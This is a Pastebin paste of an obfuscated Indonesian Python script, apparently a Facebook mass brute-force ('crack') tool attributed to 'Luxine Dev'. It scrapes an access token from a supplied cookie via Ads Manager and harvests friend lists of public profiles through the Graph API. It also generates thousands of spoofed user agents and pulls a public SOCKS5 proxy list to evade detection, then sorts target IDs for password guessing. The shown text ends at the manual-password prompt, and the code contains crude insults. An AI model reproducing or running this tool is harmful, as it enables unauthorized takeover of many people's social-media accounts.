OBF-XIn

116.206.9.54-/sdcard/Private.py.py

Jan 24th, 2023
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 55.19 KB | None | 0 0
  1. ### RECODE BY LUXINE DEV ###
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.tree import Tree
  5. from rich import print as cetak
  6. from rich.table import Table as me
  7. from rich.console import Console as sol
  8. from bs4 import BeautifulSoup as sop
  9. from rich.progress import Progress,BarColumn,TextColumn,TimeElapsedColumn
  10. from rich.progress import SpinnerColumn
  11. from concurrent.futures import ThreadPoolExecutor as tred
  12. from rich.panel import Panel as nel
  13. from rich import print as ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___
  14. from rich.columns import Columns as col
  15. from rich import print as prints
  16. from rich import pretty
  17. from rich.text import Text as tekz
  18. from rich.panel import Panel
  19. from rich.panel import Panel as flame
  20. from rich.console import Console
  21. from rich.columns import Columns
  22. from bs4 import BeautifulSoup as parse
  23. from rich.panel import Panel
  24. from rich.console import Console
  25. from rich.tree import Tree
  26. from rich.console import Console
  27. from rich.columns import Columns
  28. ###----------[ WARNA PRINT RICH ]---------- ###
  29. M2 = "[#FF0000]" # MERAH
  30. H2 = "[#00FF00]" # HIJAU
  31. K2 = "[#FFFF00]" # KUNING
  32. B2 = "[#00C8FF]" # BIRU
  33. P2 = "[#FFFFFF]" # PUTIH
  34. try:
  35.     file_color = open("data/theme_color","r").read()
  36.     color_text = file_color.split("|")[0]
  37.     color_panel = file_color.split("|")[1]
  38. except:
  39.     color_text = "[#00C8FF]"
  40.     colorbapa = random.choice([H2,K2,M2,B2,P2])
  41.     color_panel = "#00C8FF"
  42. pretty.install()
  43. CON=sol()
  44. ugen2=[]
  45. ugen=[]
  46. proxxy=[]
  47. cokbrut=[]
  48. ses=requests.Session()
  49. princp=[]
  50.  
  51. for xd in range(10000):
  52.     a='Mozilla/5.0 (Symbian/3; Series60/5.2'
  53.     b=random.randrange(1, 9)
  54.     c=random.randrange(1, 9)
  55.     d='NokiaN8-00/012.002;'
  56.     e=random.randrange(100, 9999)
  57.     f='Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/'
  58.     g=random.randrange(1, 9)
  59.     h=random.randrange(1, 4)
  60.     i=random.randrange(1, 4)
  61.     j=random.randrange(1, 4)
  62.     k='7.3.0 Mobile Safari/533.4 3gpp-gba'
  63.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  64.     ugen2.append(uaku)
  65.     ###----------[ User Agent Linux ]---------- ###
  66.     aa='Mozilla/5.0 (Linux; Android 10;'
  67.     b=random.choice(['6','7','8','9','10','11','12'])
  68.     c='Nokia 3.1 Plus)'
  69.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  70.     e=random.randrange(1, 999)
  71.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  72.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0'
  73.     h=random.randrange(73,100)
  74.     i='0'
  75.     j=random.randrange(4200,4900)
  76.     k=random.randrange(40,150)
  77.     l='Mobile Safari/537.36'
  78.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  79.     ugen.append(uaku2)
  80. for x in range(1000):
  81.     rr = random.randint
  82.     rc = random.choice
  83.     satu = f"Mozilla/5.0 (Linux; Android 12; CPH2127 Build/RKQ1.{str(rr(211111,299999))}.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36"
  84.     dua  = f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}; RMX3195 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  85.     tiga  = f"Mozilla/5.0 (Linux; Android 9; vivo 1904 Build/PPR1.{str(rr(111111,199999))}.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36 wkbrowser 5.0.17 {str(rr(2111111,2999999))} js 5.1.1 newfocus lng=ru"
  86.     empat  = f"Mozilla/5.0 (Linux; Android 9{str(rr(7,12))}; RMX1811) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  87.     lima  = f"Mozilla/5.0 (Linux; Android 12{str(rr(7,12))}; IN2013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  88.     UserAgentss = str(rc([satu,dua,tiga,empat,lima]))
  89.     ugen.append(UserAgentss)
  90. try:
  91.     url_proxy = random.choice([
  92.               "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
  93. ])
  94. except:pass
  95.    
  96. #------------------[ PROXIES ]-------------------#
  97. try:
  98.     url = requests.get(f"{url_proxy}").text
  99.     for ikfar in url.splitlines():proxxy.append(ikfar)
  100. except requests.exceptions.ConnectionError:
  101.    prints(nel(f"{P2}Anda Tidak Terhubung Ke Internet, Silahkan Periksa Koneksi Internet Anda",width=80,padding=(0,2),style=f"{color_panel}"));exit()
  102.  
  103. cokbrut=[]
  104. pwpluss,pwnya=[],[]
  105. loop = 0
  106. ok = 0
  107. cp = 0
  108. id = []
  109. id2 = []
  110. akun = []
  111. oprek = []
  112. method = []
  113. tokenku = []
  114. uid = []
  115. cokbrut = []
  116. dump = []
  117. uadia, uadarimu = [], []
  118. ugent= []
  119. pwlist, pwlis = [], []
  120. pwpluss, pwnya = [], []
  121. ugent = []
  122. uasm, uaMainXD, prox = [], [], []
  123. P = '\x1b[1;97m'
  124. M = '\x1b[1;91m'
  125. H = '\x1b[1;92m'
  126. K = '\x1b[1;93m'
  127. B = '\x1b[1;94m'
  128. kocak = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  129. tgl_kocak = datetime.datetime.now().day
  130. bln_kocak = kocak[(str(datetime.datetime.now().month))]
  131. thn_kocak = datetime.datetime.now().year
  132. ok_kocak = 'OK-'+str(tgl_kocak)+'-'+str(bln_kocak)+'-'+str(thn_kocak)+'.txt'
  133. cp_kocak = 'CP-'+str(tgl_kocak)+'-'+str(bln_kocak)+'-'+str(thn_kocak)+'.txt'
  134. def tahun(fx):
  135.     if len(fx)==15:
  136.         if fx[:10] in ['1000000000']       :tahun = '2009'
  137.         elif fx[:9] in ['100000000']       :tahun = '2009'
  138.         elif fx[:8] in ['10000000']        :tahun = '2009'
  139.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahun = '2009'
  140.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahun = '2010'
  141.         elif fx[:6] in ['100001']          :tahun = '2010/2011'
  142.         elif fx[:6] in ['100002','100003'] :tahun = '2011/2012'
  143.         elif fx[:6] in ['100004']          :tahun = '2012/2013'
  144.         elif fx[:6] in ['100005','100006'] :tahun = '2013/2014'
  145.         elif fx[:6] in ['100007','100008'] :tahun = '2014/2015'
  146.         elif fx[:6] in ['100009']          :tahun = '2015'
  147.         elif fx[:5] in ['10001']           :tahun = '2015/2016'
  148.         elif fx[:5] in ['10002']           :tahun = '2016/2017'
  149.         elif fx[:5] in ['10003']           :tahun = '2018'
  150.         elif fx[:5] in ['10004']           :tahun = '2019'
  151.         elif fx[:5] in ['10005']           :tahun = '2020'
  152.         elif fx[:5] in ['10006','10007','10008']:tahun = '2021/2022'
  153.         else:tahun=''
  154.     elif len(fx) in [9,10]:
  155.         tahun = '2008/2009'
  156.     elif len(fx)==8:
  157.         tahun = '2007/2008'
  158.     elif len(fx)==7:
  159.         tahun = '2006/2007'
  160.     else:tahun=''
  161.     return tahun
  162. ##----------[ GET DATA DARI DEVICE ]---------- ###
  163. #android_version = subprocess.#check_output("getprop ro.build.version.release",shell=True).decode("utf-8").replace("\n","")
  164. #try:simcard = subprocess.check_output("getprop gsm.operator.alpha",shell=True).decode("utf-8").split(",")[1].replace("\n","")
  165. #except:simcard = subprocess.check_output("getprop gsm.operator.alpha",shell=True).decode("utf-8").split(",")[0].replace("\n","")
  166. #versi_app = str(random.randint(111111111,999999999))
  167.  
  168. ###----------[ GENERATE USERAGENT ]---------- ###
  169. def ua_krek():
  170.         rr = random.randint
  171.         model = random.choice(['RMX3286','RMX3491'])
  172.     #    ua = (f"Mozilla/5.0 (Linux; U; Android {str(rr(9,12))}; ru-ru; Redmi K20 Pro Premium Edition Build/QKQ1.{str(rr(111111,199999))}.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(71,99))}.0.{str(rr(3500,3900))}.{str(rr(140,150))} Mobile Safari/537.36 XiaoMi/MiuiBrowser/12.5.2-go")
  173.         ua = (f"Dalvik/2.1.0 (Linux; U; Android {str(rr(9,13))}; Vision3 Build/MRA58K) [FBAN/MessengerLite;FBAV/{str(rr(40,375))}.309.0.0.8.61;FBPN/com.facebook.mlite;FBLC/en_GB;FBBV/434647565;FBCR/AXIS;FBMF/Vision;FBBD/Vision;FBDV/Vision3;FBSV/{str(rr(9,13))};FBCA/arm64-v8a:null;FBDM/"+"{density=2.54375,width=720,height=1600};]")
  174.         return ua
  175.  
  176. def ua_crack():
  177.         az = "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"
  178.         smart = str(random.randint(8, 12))
  179.         chrome3 = str(random.randint(100, 300))
  180.         chrome4 = str(random.randint(1000, 9000))
  181.         builx = f"{random.choice(az)}{random.choice(az)}{random.choice(az)}{random.randint(10, 90)}{random.choice(az)}"
  182.         chrome6 = str(random.randint(100000, 900000))
  183.         #ngentod = "Mozilla/5.0 (Linux; Android "+smart+"; Redmi Note 7 Build/QKQ1."+chrome6+"."+chrome3+"; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0."+chrome4+"."+chrome3+" Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/227.0.0.5.115;]"
  184.         ngentod = f"Mozilla/5.0 (Linux; Android {str(random.randint(2,8))}.{str(random.randint(1,9))}.{str(random.randint(1,9))}; LG-F320L Build/{builx}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.{chrome4}.{chrome3} Mobile Safari/537.36[FBAN/EMA;FBLC/en_US;FBAV/309.0.0.16.{chrome3};]"
  185.         #ngentod = f"Mozilla/5.0 (Linux; Android  {str(random.randint(2,8))}.{str(random.randint(1,9))}.{str(random.randint(1,9))}; Micromax E484 Build/{builx}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.{chrome4}.{chrome3} Mobile Safari/537.36[FBAN/EMA;FBLC/en_US;FBAV/332.0.0.23.{chrome3};]"
  186.         return ngentod
  187. def ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___jalan(u):
  188.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  189.        
  190. def jalan(keliling):
  191.     for mau in keliling + '\n':
  192.         sys.stdout.write(mau)
  193.         sys.stdout.flush();sleep(0.03)
  194.        
  195. def ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___meledak():
  196.     token = open('.token.txt','r').read()
  197.     cok = open('.cok.txt','r').read()
  198. def clear():
  199.     os.system('clear')
  200. def back():
  201.     login()
  202.    
  203. def none():
  204.     clear()
  205. #   prints(nel(f"""\t {cor""",width=80,style=f"{color_panel}"))
  206. def info():
  207.     ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___(f"""
  208.  __  _  _  __  __  ____  ____
  209. /. |( \/ )(  \/  )(  _ \( ___)
  210. (_  _))  (  )    (  ) _ < )__)
  211.  (_)(_/\_)(_/\/\_)(____/(__)  """)
  212.    
  213. def banner():
  214.     clear()
  215.     tree= Tree(f" ")
  216.     tree.add(Panel.fit(f"\r[bold green]SCRIPT MULTI 4XMBF BY LUXINE-DEV"))
  217.     cetak(tree)        
  218. def login():
  219.     os.system('clear')
  220.     ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___jalan(f'-> [ add dulu wa gw siapa tau bisa bertemen>< ]')
  221.     os.system('xdg-open http://wa.me/6289669084331')
  222.     try:
  223.         ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___meledak()
  224.         token = open('.token.txt','r').read()
  225.         cok = open('.cok.txt','r').read()
  226.         tokenku.append(token)
  227.         try:
  228.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  229.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___eed = json.loads(sy.text)['name']
  230.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___idnihbos = json.loads(sy.text)['id']
  231.             menu(____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___eed,____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___idnihbos)
  232.         except KeyError:
  233.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawox()
  234.         except requests.exceptions.ConnectionError:
  235.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___(f'error konek')
  236.             exit()
  237.     except IOError:
  238.         ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawox()
  239. def ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawox():
  240.     try:
  241.         os.system('clear')
  242.         banner()
  243.         info()
  244.         ses = requests.Session()
  245.         cookie = input(f'INPUT COKIE : ')
  246.         cookies = {'cookie':cookie}
  247.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  248.         req = ses.get(url,cookies=cookies)
  249.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  250.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  251.         roq = ses.get(nek,cookies=cookies)
  252.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  253.         tokenw = open(".token.txt", "w").write(tok)
  254.         cokiew = open(".cok.txt", "w").write(cookie)
  255.         ketx = input('[ENTER UNTUK KE MENU]')
  256.         login()
  257.     except Exception as e:
  258.         os.system("rm -f .token.txt")
  259.         os.system("rm -f .cok.txt")
  260.         exit()
  261. def __________luxine_____dev____nihbos_bot():
  262.     token = open('.token.txt','r').read()
  263.     cok = open('.cok.txt','r').read()
  264. def menu(namaku,idmu):
  265.     __________luxine_____dev____nihbos = print
  266.     try:
  267.         __________luxine_____dev____nihbos_bot()
  268.     except IOError:
  269.         time.sleep(5)
  270.         login()
  271.     os.system('clear')
  272.     banner()
  273.     info()
  274.     print('')
  275.     cetak(nel("""[white] [[red]01[white]] Crack Dari Daftar Temen
  276. [[red]02[white]] Crack Dari File Sendiri
  277. [[red]03[white]] Crack Akun Cp
  278. [white][[red]00[white]] Keluar Dari Script [green]4xmbf[white]""",title='[red]• [ MENU CRACKING ] •',style='purple'))
  279.     #__________luxine_____dev____nihbos(f'{P} [1] craking daftar temen')
  280.     #__________luxine_____dev____nihbos(f'{P} [2] cracking file')
  281. #   __________luxine_____dev____nihbos(f' [3] crack akun cp')
  282. #   __________luxine_____dev____nihbos(' [0] keluar/exit')
  283.     __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos = input(f'[{M}--mbf->{P}] Menu Crack : ')
  284.     print('')
  285.     if __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['1']:
  286.         sae()
  287.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['2']:
  288.         crack_file()
  289.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['3']:
  290.         file_cp()
  291.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['0']:
  292.         os.system('rm -rf .token.txt')
  293.         os.system('rm -rf .cok.txt')
  294.         exit()
  295.     else:
  296.         login()
  297. def sae():
  298.     cetak(nel("""[white]Tulis [green]Y[white] Dan Enter Jika Ingin Crack Pertemenan Massal""",title='[red]• [ MASSAL ] •',style='purple'))
  299.     cetak(nel("""[white]Tulis [red]T [white]Dan Enter Jika Ingin Crack Pertemenan Publick""",title='[red]• [ PUBLIK ] •',style='purple'))
  300.     __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos = input(f'{P}[{M}--mbf->{P}] apakah anda ingin crack massal? y/t : ')
  301.     if __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in['y','Y']:
  302.         __________luxine_____dev____nihbosmassal()
  303.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in['t','T']:
  304.         __________luxine_____dev____nihbospublik()
  305.     else:
  306.         __________luxine_____dev____nihbospublik()
  307. def __________luxine_____dev____nihbospublik():
  308.     __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos = print
  309.     try:
  310.         token = open('.token.txt','r').read()
  311.         kukis = open('.cok.txt','r').read()
  312.     except IOError:
  313.         exit()
  314.     pil = input(f'{P}[{M}--mbf->{P}] ID PUBLIK : ')
  315.     try:
  316.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  317.         for pi in koh2['friends']['data']:
  318.             try:id.append(pi['id']+'|'+pi['name'])
  319.             except:continue
  320.         __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos('')
  321.         setting()
  322.     except requests.exceptions.ConnectionError:
  323.         exit()
  324.     except (KeyError,IOError):
  325.         __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(f'temen tidak publik cuy atau cookie lu mokad diango')
  326.         exit()
  327.  
  328. def __________luxine_____dev____nihbosmassal():
  329.     try:
  330.         token = open('.token.txt','r').read()
  331.         cok = open('.cok.txt','r').read()
  332.     except IOError:
  333.         exit()
  334.     try:
  335.         jum = int(input(f' [•] ingin berapa target publik :  '))
  336.     except ValueError:
  337.         exit()
  338.     if jum<1 or jum>100:
  339.         exit()
  340.     ses=requests.Session()
  341.     yz = 0
  342.     for met in range(jum):
  343.         yz+=1
  344.         kl = input('[ID] '+str(yz)+' : ')
  345.         uid.append(kl)
  346.     for userr in uid:
  347.         try:
  348.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  349.             for mi in col['friends']['data']:
  350.                 try:
  351.                     iso = (mi['id']+'|'+mi['name'])
  352.                     if iso in id:pass
  353.                     else:id.append(iso)
  354.                 except:continue
  355.         except (KeyError,IOError):
  356.             pass
  357.         except requests.exceptions.ConnectionError:
  358.             print('╰─ unstable signal ')
  359.             exit()
  360.     try:
  361.         print('')
  362.     #   print(f' Total Id Collected {h}'+str(len(id)))
  363.         setting()
  364.     except requests.exceptions.ConnectionError:
  365.         print(f'{x}')
  366.         print('╰─ unstable signal ')
  367.         back()
  368.     except (KeyError,IOError):
  369.         print(f'╰─{k} Friendship Not Public {x}')
  370.         time.sleep(3)
  371.         back()
  372.        
  373. def result():
  374.     print('╰─ 1. Hasil CP Anda ')
  375.     print('╰─ 2. Hasil OK Anda ')
  376.     print('╰─ 0. Kembali    ')
  377.     kz = input('\n╰─ Chouse : ')
  378.     print('')
  379.     if kz in ['1','01']:
  380.         try:vin = os.listdir('CP')
  381.         except FileNotFoundError:
  382.             print('╰─ File Tidak Di Temukan ')
  383.             time.sleep(3)
  384.             back()
  385.         if len(vin)==0:
  386.             print('╰─ Anda Tidak Memiliki Hasil CP ')
  387.             time.sleep(2)
  388.             back()
  389.         else:
  390.             cih = 0
  391.             lol = {}
  392.             for isi in vin:
  393.                 try:hem = open('CP/'+isi,'r').readlines()
  394.                 except:continue
  395.                 cih+=1
  396.                 if cih<10:
  397.                     nom = ''+str(cih)
  398.                     lol.update({str(cih):str(isi)})
  399.                     lol.update({nom:str(isi)})
  400.                     print(''+nom+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  401.                 else:
  402.                     lol.update({str(cih):str(isi)})
  403.                     print(''+str(cih)+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  404.             geeh = input('\n╰─ Chouse : ')
  405.             print('')
  406.             try:geh = lol[geeh]
  407.             except KeyError:
  408.                 print('╰─ Pilih Yang Bener Kontol ')
  409.                 exit()
  410.             try:lin = open('CP/'+geh,'r').read().splitlines()
  411.             except:
  412.                 print('╰─ File Tidak Di Temukan ')
  413.                 time.sleep(2)
  414.                 back()
  415.             nocp=0
  416.             for cpku in range(len(lin)):
  417.                 cpkuni=lin[nocp].split('|')
  418.                 print(f'╰─CP\033[33m {cpkuni[0]}|{cpkuni[1]}\033[0m')
  419.                 nocp +=1
  420.             input('\n╰─ Back Enter ')
  421.             back()
  422.     elif kz in ['2','02']:
  423.         try:vin = os.listdir('OK')
  424.         except FileNotFoundError:
  425.             print('╰─ File Tidak Di Temukan ')
  426.             time.sleep(2)
  427.             back()
  428.         if len(vin)==0:
  429.             print('╰─ Anda Tidak Mempunyai File OK ')
  430.             time.sleep(2)
  431.             back()
  432.         else:
  433.             cih = 0
  434.             lol = {}
  435.             for isi in vin:
  436.                 try:hem = open('OK/'+isi,'r').readlines()
  437.                 except:continue
  438.                 cih+=1
  439.                 if cih<100:
  440.                     nom = ''+str(cih)
  441.                     lol.update({str(cih):str(isi)})
  442.                     lol.update({nom:str(isi)})
  443.                     print(''+nom+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  444.                 else:
  445.                     lol.update({str(cih):str(isi)})
  446.                     print(''+str(cih)+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  447.             geeh = input('\n╰─ Chouse : ')
  448.             try:geh = lol[geeh]
  449.             except KeyError:
  450.                 print('╰─ Pilih Yang Bener Kontol ')
  451.                 exit()
  452.             try:lin = open('OK/'+geh,'r').read().splitlines()
  453.             except:
  454.                 print('╰─ File Tidak Di Temukan ')
  455.                 time.sleep(2)
  456.                 back()
  457.             nocp=0
  458.             for cpku in range(len(lin)):
  459.                 cpkuni=lin[nocp].split('|')
  460.                 print(f'\n╰─OK\033[32m {cpkuni[0]}|{cpkuni[1]}|\033[32m{cpkuni[2]}\033[0m')
  461.                 nocp +=1
  462.             input('\n╰─ Back Enter ')
  463.             back()
  464.     elif kz in ['0','00']:
  465.         back()
  466.     else:
  467.         print('╰─ Pilih Yang Bener Kontol ')
  468.         exit()
  469.  
  470. def crack_file():
  471.     try:vin = os.listdir('DUMP')
  472.     except FileNotFoundError:
  473.         print('╰─ File Tidak Ditemukan ')
  474.         time.sleep(2)
  475.         back()
  476.     if len(vin)==0:
  477.         print('╰─ Kamu Tidak Memiliki File Dump ')
  478.         time.sleep(2)
  479.         back()
  480.     else:
  481.         cih = 0
  482.         lol = {}
  483.         for isi in vin:
  484.             try:hem = open('DUMP/'+isi,'r').readlines()
  485.             except:continue
  486.             cih+=1
  487.             if cih<100:
  488.                 nom = ''+str(cih)
  489.                 lol.update({str(cih):str(isi)})
  490.                 lol.update({nom:str(isi)})
  491.                 print(f' %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  492.             else:
  493.                 lol.update({str(cih):str(isi)})
  494.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  495.                 print('╰─ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  496.         geeh = input('\n╰─ Chouse : ')
  497.         print('')
  498.         try:geh = lol[geeh]
  499.         except KeyError:
  500.             print(f'╰─{k} Pilih Yang Bener Kontol {x}')
  501.             time.sleep(3)
  502.             back()
  503.         try:lin = open('DUMP/'+geh,'r').read().splitlines()
  504.         except:
  505.             print('╰─ File Tidak Ditemukan, Coba Lagi Nanti ')
  506.             time.sleep(2)
  507.             back()
  508.         for xid in lin:
  509.             id.append(xid)
  510.         setting()
  511.  
  512. def setting():
  513.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos
  514.     print('')
  515.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(
  516. #   print(' [-] [1] Old')
  517.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(
  518. #   print(' [-] [2] Muda')
  519.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(
  520. #   print(' [-] [3] Random')
  521.     cetak(nel(""" [white][[red]01[white]] Akun Old
  522. [[red]02[white]] Akun Muda
  523. [[red]03[white]] Akun Random ([green]recomended[white])""",title='[red]• [ SETTING ID ] •',style='purple'))
  524.     hu = input(f'[{M}--mbf->{P}] Menu Id : ')
  525.     if hu in ['1','01']:
  526.         for tua in sorted(id):
  527.             id2.append(tua)
  528.            
  529.     elif hu in ['2','02']:
  530.         muda=[]
  531.         for bacot in sorted(id):
  532.             muda.append(bacot)
  533.         bcm=len(muda)
  534.         bcmi=(bcm-1)
  535.         for xmud in range(bcm):
  536.             id2.append(muda[bcmi])
  537.             bcmi -=1
  538.     elif hu in ['3','03']:
  539.         for bacot in id:
  540.             xx = random.randint(0,len(id2))
  541.             id2.insert(xx,bacot)
  542.     else:
  543.         exit()
  544.         print('')
  545. #   print('->  terdapat 2versi yang berbeda ya itu')
  546. #   cetak(nel("""TERDAPAT 2METODE DENGAN VERSI YANG BERBEDA 1-UNTUK REGULER 2-UNTUK VALIDATE DAN 3-UNTUK VALIDATE SILAKAN DI COBA 1-1 SAMPAI MENEMUKAN METODE YANG COCOK DI DEVICE MU....""",style='red'))
  547.     print('')
  548.     cetak(nel(""" [white][[red]01[white]] mbasic
  549. [white][[red]02[white]] mbasic""",title='[red]• [ TERDAPAT 2VERSI YANG BERBEDA • ]',style='purple'))
  550.     hc = input(f'{P}[{M}--mbf->{P}] Menu Metode : ')
  551.     if hc in ['1','01']:
  552.         method.append('mobile')
  553.     elif hc in ['22','022']:
  554.         method.append('free')
  555.     elif hc in ['33','033']:
  556.         method.append('mbasic')
  557.     else:
  558.         method.append('mobile')
  559.     su()
  560. def su():
  561.     cetak(nel("""[white]SILAKAN MASUKAN SANDI MANUAL CONTOH ferdi,ferdi123 ATAU BISA JUGA MENGUNAKAN NAMA KOTA CONTOH bandung,palembang""",title='[red]• [ CONTOH ] •',style='purple'))
